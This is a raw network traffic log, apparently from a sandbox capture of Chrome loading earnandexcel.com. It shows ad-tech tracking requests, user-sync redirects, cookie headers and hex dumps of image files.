Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:01 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.17	50126	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:00 UTC	730	OUT	GET /xuid?mid=7976&xuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
2024-04-11 21:27:01 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3952083078138885077332; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:01 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3952083078138885077332; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:01 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-11 21:27:01 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.17	50141	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	1040	OUT	GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA%3D%26piggybackCookie%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=dWFSpNO-Okpofyg3daQX0m1HjZijP7Pun5MGtiXYUZRtc6ZsS5d4EihuSwKwFpk6I2dR2Own7GsTWVKZYxEYlhCNPMs0ZgwUL9OPfm_eWZ8.; uuid2=203013809340254297
2024-04-11 21:27:01 UTC	1512	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=203013809340254297&gdpr=0&gdpr_consent= AN-X-Request-Uuid: acd275ed-00c8-4c60-a5c4-4cc718ff0bfa Set-Cookie: XANDR_PANID=dWFSpNO-Okpofyg3daQX0m1HjZijP7Pun5MGtiXYUZRtc6ZsS5d4EihuSwKwFpk6I2dR2Own7GsTWVKZYxEYlhCNPMs0ZgwUL9OPfm_eWZ8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=203013809340254297; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.17	50111	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	2352	OUT	GET /wp-content/uploads/Excel-VBA-2-2-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:01 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/jpeg Content-Length: 18362 Connection: close CF-Ray: 872e0ee7ca9778df-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-47ba" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=snKUu0UkCn0sJtu%2BWiI3N0u12a8X%2Fhbrsni3HYFm0sWEvJmEtXiNkMXwwO5QLqsj7B2Gapim0ZHDl0reqDjBdGQemJVTbr3Kqh%2FniOHAy34tN%2FcH1yRw2zY8%2Ba3sNn%2BeCv0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 05 06 03 04 07 08 ff c4 00 5e 10 00 01 03 02 02 04 04 0f 08 0d 09 06 07 01 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 08 14 15 16 18 22 52 61 71 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"^!1AQ"Raq
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 64 8d dc 8b 56 58 5e 6f da ae 11 d7 ae 60 3b f1 5a af 28 7d 69 46 71 c7 8e fc 56 ab ca 1f 5a b9 5d 52 8f b9 42 da b8 ce c9 55 48 f7 03 da ed 51 e5 8f 8c 90 e6 90 b9 58 cd d8 e9 fc 69 55 e5 0a 43 9a 31 a7 7b ac 46 a0 f8 5e 56 85 57 b8 f6 66 1e ab d1 79 af 8a 32 c3 3a b3 49 4f 6b 8a e4 bd 72 62 ff 00 97 cf e3 14 0c c5 8b 1f 87 cf e3 15 69 6b 16 c5 17 fd 3d 67 ce 8e ba 1c 53 83 8a e4 23 30 e2 c3 e1 f3 f8 c5 2f 5c b8 b0 f8 7c fe 39 4e eb 16 c3 7f e9 db 3e 74 75 e2 6e 10 cb 85 c8 c6 65 c5 87 c3 e7 f1 8a 3a e6 c5 87 c3 e7 f1 8a 77 59 1d 86 ff 00 d3 b6 fc e8 ec 71 b8 85 23 45 88 4b 0b 80 da 42 e2 f8 46 2f 8f e2 f5 f1 d0 d2 57 4a 65 7d cf 6c f3 66 81 b4 92 b7 31 7a ac cb 81 82 e9 eb e6 20 38 34 90 5c 08 b8 b8 36 3c 45 2b d4 46 69 fc 24 95 7f 4e ea 6b fb 48 cd 25 Data Ascii: dVX^o`;Z(}iFqVZ]RBUHQXiUC1{F^VWfy2:IOkrbik=gS#0/\\|9N>tune:wYq#EKBF/WJe}lf1z 84\6<E+Fi$NkH%
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 84 76 2d 66 af 95 f0 6f 1a 4f 61 3d 6b e2 96 14 85 e9 2c c6 1a 39 03 66 b2 77 0f 6d bc ab ae f6 2d 66 af 95 f0 6f 1a 4f 61 1d 8b 59 af e5 6c 1b c7 93 d8 4c eb 2b dc 4e 8a cd 8e 45 d3 1d f4 a2 a3 be ba df 62 ce 6c f9 5b 06 f1 e4 f6 11 d8 b3 9b 3e 56 c1 bc 79 3d 84 bd 65 7b 89 d0 cf 63 92 8a 8e fa 51 51 df 5d 64 74 2d 66 df 95 b0 6f 1e 4f 61 03 a1 6b 36 f1 62 d8 37 8f 27 b0 97 ad af 71 3a 1b 36 39 2f 4c 77 d3 85 4f 7d 75 8e c5 ac db f2 ae 0d e3 c9 ec 23 b1 6f 37 7c a9 83 78 f2 7b 08 5a da f7 0e 82 cd 8e 54 da 9b 0d 85 2f 4c 13 c6 ba a8 e8 5c cd df 2a 60 de 52 4f 61 38 74 2f 66 e1 f8 d3 06 f2 92 7b 09 cb 5d 5f cc 37 a0 b3 63 94 8a 93 ca 9e 2a 5c 38 d7 53 1d 0b f9 b4 7e 33 c1 bc a4 9e c2 5e c6 1c dc 3f 19 60 de 52 4f 61 2a d7 57 f3 0d fe df 67 ca 72 f6 d5 91 Data Ascii: v-foOa=k,9fwm-foOaYlL+NEbl[>Vy=e{cQQ]dt-foOak6b7'q:69/LwO}u#o7\|x{ZT/L\`ROa8t/f{]_7c\8S~3^?`ROa*Wgr
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 61 38 ce 2a 51 79 4c 54 21 08 1c 08 42 10 00 84 04 20 01 08 08 08 00 42 10 80 00 84 21 00 79 c3 a2 88 db 33 e0 9f 32 93 d3 0b 8c eb dd 76 5e 8a 5d 99 97 02 f9 9c be 98 5c 58 39 6e 68 9f d8 a3 03 5c be d9 9e 88 d0 b1 ff 00 62 61 fd 7c 9f c1 74 48 9e 46 d0 b9 ce 84 fb 6c 8f 1f 7a a2 4f e0 ba 24 7b 97 35 ab b3 ed e6 bf 33 5f 4c b1 54 7e 86 f4 75 0c 23 b6 d8 52 c9 30 70 b3 77 72 ad 46 95 91 a5 57 4c b3 c4 f1 83 2b 4a 78 58 b8 40 38 d3 d8 ed 64 e4 21 91 05 bb 12 b4 27 91 da 95 3d 55 a7 e4 64 9e 0e 79 d3 4d 59 23 a9 1c 45 56 59 8b 30 9f 74 b6 e0 c4 a3 b8 ed 97 09 c7 33 a7 50 45 a2 1a bd 4d fb d6 dc 58 80 3b 2e ab 23 10 67 74 9e dc 41 bd d2 4e 74 d0 bc 98 32 d7 16 26 58 76 39 6e c3 8d 30 ec 71 54 61 8a 0b 9b 39 30 e3 1a a7 6b 94 90 d5 d8 99 1b d1 c5 9d 21 b5 d1 Data Ascii: a8*QyLT!B B!y32v^]\X9nh\ba\|tHFlzO${53_LT~u#R0pwrFWL+JxX@8d!'=UdyMY#EVY0t3PEMX;.#gtANt2&Xv9n0qTa90k!
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 6e ac 67 09 70 ac 9b f9 7a 7a 6b 5a 68 29 27 d9 bc 7f 9f b9 61 cf 18 7d 2e 17 87 d3 49 47 42 c6 da 4d 57 3d bb 2c 2d c7 ca aa 31 57 bb e2 db ce ba 46 6a c6 62 c1 f0 db 49 0f 0e e9 ef 1b 5a 77 6e de 57 31 89 aa 3b 7b 3e c7 3f fd 41 4d 50 d4 7c 1e 71 dd 6c 75 1d 15 4c 65 a6 c4 09 16 b3 d9 e6 2a f6 a8 5a 27 16 a5 c4 3f c6 cf 31 57 d5 2d 7f 74 ea 7d 07 fe c6 bf f9 fe 58 25 48 8b a7 9a e2 a1 08 08 00 42 10 80 04 59 08 40 02 11 74 20 01 08 45 d0 07 9b 7a 2b 76 63 f9 7f e6 b3 7a 6d 5c 39 85 77 1e 8a ef bf b9 7b e6 b3 fa 6d 5c 2f 5a c1 6b e9 3f 09 18 fa c5 f6 8c f4 56 81 a4 1d 67 91 ff 00 15 27 f0 5d 46 e0 85 c6 74 25 5d c0 65 47 8b ee a9 7f 98 2e 94 cc 5d a5 bb d6 4e a7 d2 a3 6d ae c6 bc 8b 1b 33 14 8d 8c 49 81 f1 b8 2e 61 9a 70 d9 27 92 46 c6 cd 65 d0 a6 ae e1 Data Ascii: ngpzzkZh)'a}.IGBMW=,-1WFjbIZwnW1;{>?AMP\|qluLe*Z'?1W-t}X%HBY@t Ez+vczm\9w{m\/Zk?Vg']Ft%]eG.]Nm3I.ap'Fe
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 60 25 a8 52 94 88 e7 28 44 8c e0 aa 7b 97 25 11 54 f7 2e 57 28 f0 b6 b9 b7 d5 41 c2 5b dc a9 23 5c 9f b9 5e 57 e3 d8 b3 4c 0b 6f da 95 56 ce 32 81 4f 03 0f ba 2e 25 5c e7 ae c3 44 45 e6 5b db de 81 b5 52 71 b8 dd 8a 55 3a 6b 16 b4 0b 31 bc 81 79 f7 ab fa 75 d2 a1 c6 a5 96 ce eb d2 ee 83 b5 4a 5d 92 33 60 93 7f 26 c2 00 e5 bf 86 ea 43 85 3c 8a 23 00 1d 20 f7 45 54 09 81 e6 fa c3 7b 4a b3 3c 61 70 c7 c2 8a a1 27 18 63 46 d2 b1 f4 9a 2b a5 05 97 c3 8e cf 3f e7 72 ce ae 4a 16 be d9 c9 5a cd 12 de 2a 66 9d e3 58 fd 0a 8b 59 21 8c 13 62 ae d8 a4 33 e2 15 2f 98 80 d6 9d 8d 6f 72 14 16 2b 82 c8 60 76 a5 83 88 df c8 b3 de 93 55 66 a1 ce 30 7d cd 0a ae aa aa 31 36 71 fc d9 98 59 1e 20 63 17 3a 82 c5 56 e9 b3 18 75 63 06 db 17 29 fc cf 93 ea 59 57 23 dd 20 37 db 7b Data Ascii: `%R(D{%T.W(A[#\^WLoV2O.%\DE[RqU:k1yuJ]3`&C<# ET{J<ap'cF+?rJZ*fXY!b3/or+`vUf0}16qY c:Vuc)YW# 7{
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 02 10 84 00 21 08 40 02 54 89 50 00 80 b0 4b 5d 4b 03 b5 65 a9 86 37 1d c1 cf 00 ac b1 4d 14 c2 f1 c8 c7 8f d1 70 29 bc 4b 38 c8 f7 09 25 96 bb 0f 08 2d 0e 69 6b 80 20 8b 10 78 d0 95 38 61 47 ab d0 ae 46 ac a9 92 a1 f8 3e a3 e4 25 c4 47 33 da db f7 80 36 0b 10 d0 66 45 1f 8a a5 fd e2 4f 5a be a1 37 85 6c 43 d3 d5 f2 af d0 a1 7d 83 b2 38 07 f9 32 5f de 5f eb 5e 53 af ac 9a 9f 10 aa 86 32 03 23 95 ec 68 b7 10 24 05 ee 9e 22 bc 23 8b 7d f5 ad fd 7c 9e 91 4c 94 56 c5 6d 46 9e a5 8c 45 0a dc 52 a7 ba 6f 8a 13 c6 2b 55 6b 6b 34 77 f5 42 d2 68 4f 01 33 85 14 dd 35 fc a8 75 c9 24 93 72 77 92 9c d4 81 3d a1 28 a3 a3 0b 61 81 63 8c 2c ec 09 8c 46 64 8c 2c ec 0b 1b 1a b3 b0 26 91 b6 77 3e 87 21 6a 0c 6f f5 b1 79 9c bb 12 e3 dd 0e bf d0 71 af d6 c5 e6 72 ec 0a cd 7f Data Ascii: !@TPK]Ke7Mp)K8%-ik x8aGF>%G36fEOZ7lC}82__^S2#h$"#}\|LVmFERo+Ukk4wBhO35u$rw=(ac,Fd,&w>!joyqr
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: d9 09 68 3a ed b5 f6 da df 5a a5 52 01 06 33 2c 51 4a 5e c6 07 b4 3c 6c d6 01 db 0d 97 5b 4d 95 ca 29 41 e7 c7 ff 00 9f fc 39 4b b4 72 8b 72 97 6f f3 27 41 ba df c0 0f f2 dd 07 eb d9 e9 2a 37 0a fe ed dc ea 53 2b 48 f3 99 30 b0 5e ef e9 51 f1 fe 90 52 5d 0f b3 97 d1 90 53 57 c7 1e fe e8 f4 68 28 ba 44 2f 3b 3b f1 6e 8b a4 42 00 2e 84 21 00 79 cf a2 b0 7f 2b 65 bf d4 54 7a 4c 5c 12 63 bd 77 ce 8a cf be b9 6f f5 15 1e 94 6b 82 4c 2e 2e b5 34 df 84 64 ea 7f 19 9d 3f 44 b2 db 2d e2 0c e5 a9 ff 00 48 53 e2 62 c7 6c 3b 8a ae e8 88 5f 00 c4 fb d5 03 d1 53 6f 75 a5 3e 15 a1 a7 9e 11 97 7a 7c 52 64 c4 38 bb 22 8f b6 be b0 e2 58 65 cc 92 31 c7 55 9c ea 34 90 5e b0 cb 63 75 71 56 9a 39 2b b5 76 73 1a 4c 9f c3 b3 54 fc 30 bb 5b aa ae 54 f8 b3 e5 84 38 38 0d 8b 97 d1 Data Ascii: h:ZR3,QJ^<l[M)A9Krro'A*7S+H0^QR]SWh(D/;;nB.!y+eTzL\cwokL..4d?D-HSbl;_Sou>z\|Rd8"Xe1U4^cuqV9+vsLT0[T88
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 95 f7 14 61 00 aa 5e 69 60 38 0e 24 ef f7 0f f3 27 52 37 53 1e 29 c7 f2 6b f9 38 a4 62 ca dd a3 60 46 78 cb df b4 60 f4 82 aa 46 db 95 6e d1 d8 d5 cf 19 74 7f 78 c1 e9 84 e9 fe 1c be 8c ea a0 fe d6 3f 54 7b 25 08 b2 17 3c 74 62 21 08 40 02 11 64 20 01 69 62 f8 1e 1f 8e 53 f0 15 f4 cc 99 a3 dc 93 b1 cd f0 1e 25 ba 95 24 a2 a4 b0 c7 c2 72 84 b8 a2 f0 ce 7b 57 a1 ea 37 bc 9a 4c 4e 68 9b 7f 73 23 03 ed f4 8b 2d 8c 33 44 98 55 34 8d 92 b6 a6 7a bb 7b cb 6a 34 f8 6d b7 eb 57 a4 05 55 68 68 4f 3c 26 83 f5 8d 63 8f 0b b1 fe df c9 8e 96 92 0a 28 1b 4f 4d 13 21 89 82 cd 63 05 80 59 42 02 02 b6 96 3b 23 35 b6 de 58 a8 42 10 20 21 08 4a 00 84 24 40 0a 91 22 10 00 84 88 40 0a 80 91 09 00 5f a5 2d d3 52 a0 05 42 40 94 20 0e 35 8e 74 3a c7 8a e3 15 b8 84 79 81 d0 b6 aa Data Ascii: a^i`8$'R7S)k8b`Fx`Fntx?T{%<tb!@d ibS%$r{W7LNhs#-3DU4z{j4mWUhhO<&c(OM!cYB;#5XB !J$@"@_-RB@ 5t:y
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 36 0f e4 1f ed a5 e9 6c d8 4e ae bd cb 07 45 46 cc 47 2c fe aa a7 cf 1a e1 0f da ad 19 eb 48 f8 d6 90 e7 a2 9b 18 6d 23 3a 49 af 6c 62 9e 32 df 75 6b de e4 f7 21 55 8f 1a bf a7 83 85 7c 32 33 75 33 53 b3 8a 27 49 d0 f5 c5 0e 38 07 fb af f5 2c 33 0d 6c 5c 37 95 cb 36 87 b6 d1 e3 63 bd 17 fa 93 1e db 63 8d 1f a6 a5 b5 a4 a1 f5 31 2c 6f 9b 7f fe a7 57 ca 54 c0 53 33 c0 ac 53 d1 07 71 28 bc a4 c1 d2 d1 ec e2 0a d2 62 04 29 2c 96 24 41 a3 ad 4a 94 42 43 87 b4 3f 72 94 8a 9f 82 6e c0 b3 32 01 7d cb 64 46 0b 55 69 bc 97 e8 a9 44 d0 b9 dd 64 e6 6d 5b 62 11 7d cb 2b 69 98 41 50 49 32 ed 66 f4 d4 3c 13 2e 25 04 f2 59 57 71 47 96 6b 35 db 0a b2 be ee 61 50 18 bc 21 ed db bd 55 d3 4d b7 dc 7e ba 98 c5 7c 05 5f 5e f3 6c 3c 6a c1 41 29 d4 0a 15 d0 06 49 b0 29 2a 57 b8 Data Ascii: 6lNEFG,Hm#:Ilb2uk!U\|23u3S'I8,3l\76cc1,oWTS3Sq(b),$AJBC?rn2}dFUiDdm[b}+iAPI2f<.%YWqGk5aP!UM~\|_^l<jA)I)*W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.17	50163	67.202.105.33	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	966	OUT	GET /deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 HTTP/1.1 Host: hde.tynt.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=3nL6n2YYVaSqTujYTsdIDw==
2024-04-11 21:27:01 UTC	1033	IN	HTTP/1.1 200 cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, false expires: Sat, 26 Jul 1997 05:00:00 GMT accept-ch: Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Model, Sec-CH-UA-Full-Version-List, Sec-CH-UA, Sec-CH-UA-Mobile set-cookie: pids=%5B%7B%22p%22%3A%22797f54a72d%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%2C%7B%22p%22%3A%224bee518595%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%2C%7B%22p%22%3A%2224c05c7b76%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%2C%7B%22p%22%3A%22d26852f088%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%2C%7B%22p%22%3A%22f9a4a8fd15%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%2C%7B%22p%22%3A%22008c314e8f%22%2C%22f%22%3A1%2C%22ts%22%3A1712870821243%7D%5D;Version=1;Comment=;SameSite=None;Domain=tynt.com;Path=/;Max-Age=7776000;Secure referrer-policy: unsafe-url content-type: text/html content-length: 1920 date: Thu, 11 Apr 2024 21:27:01 GMT p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" connection: close
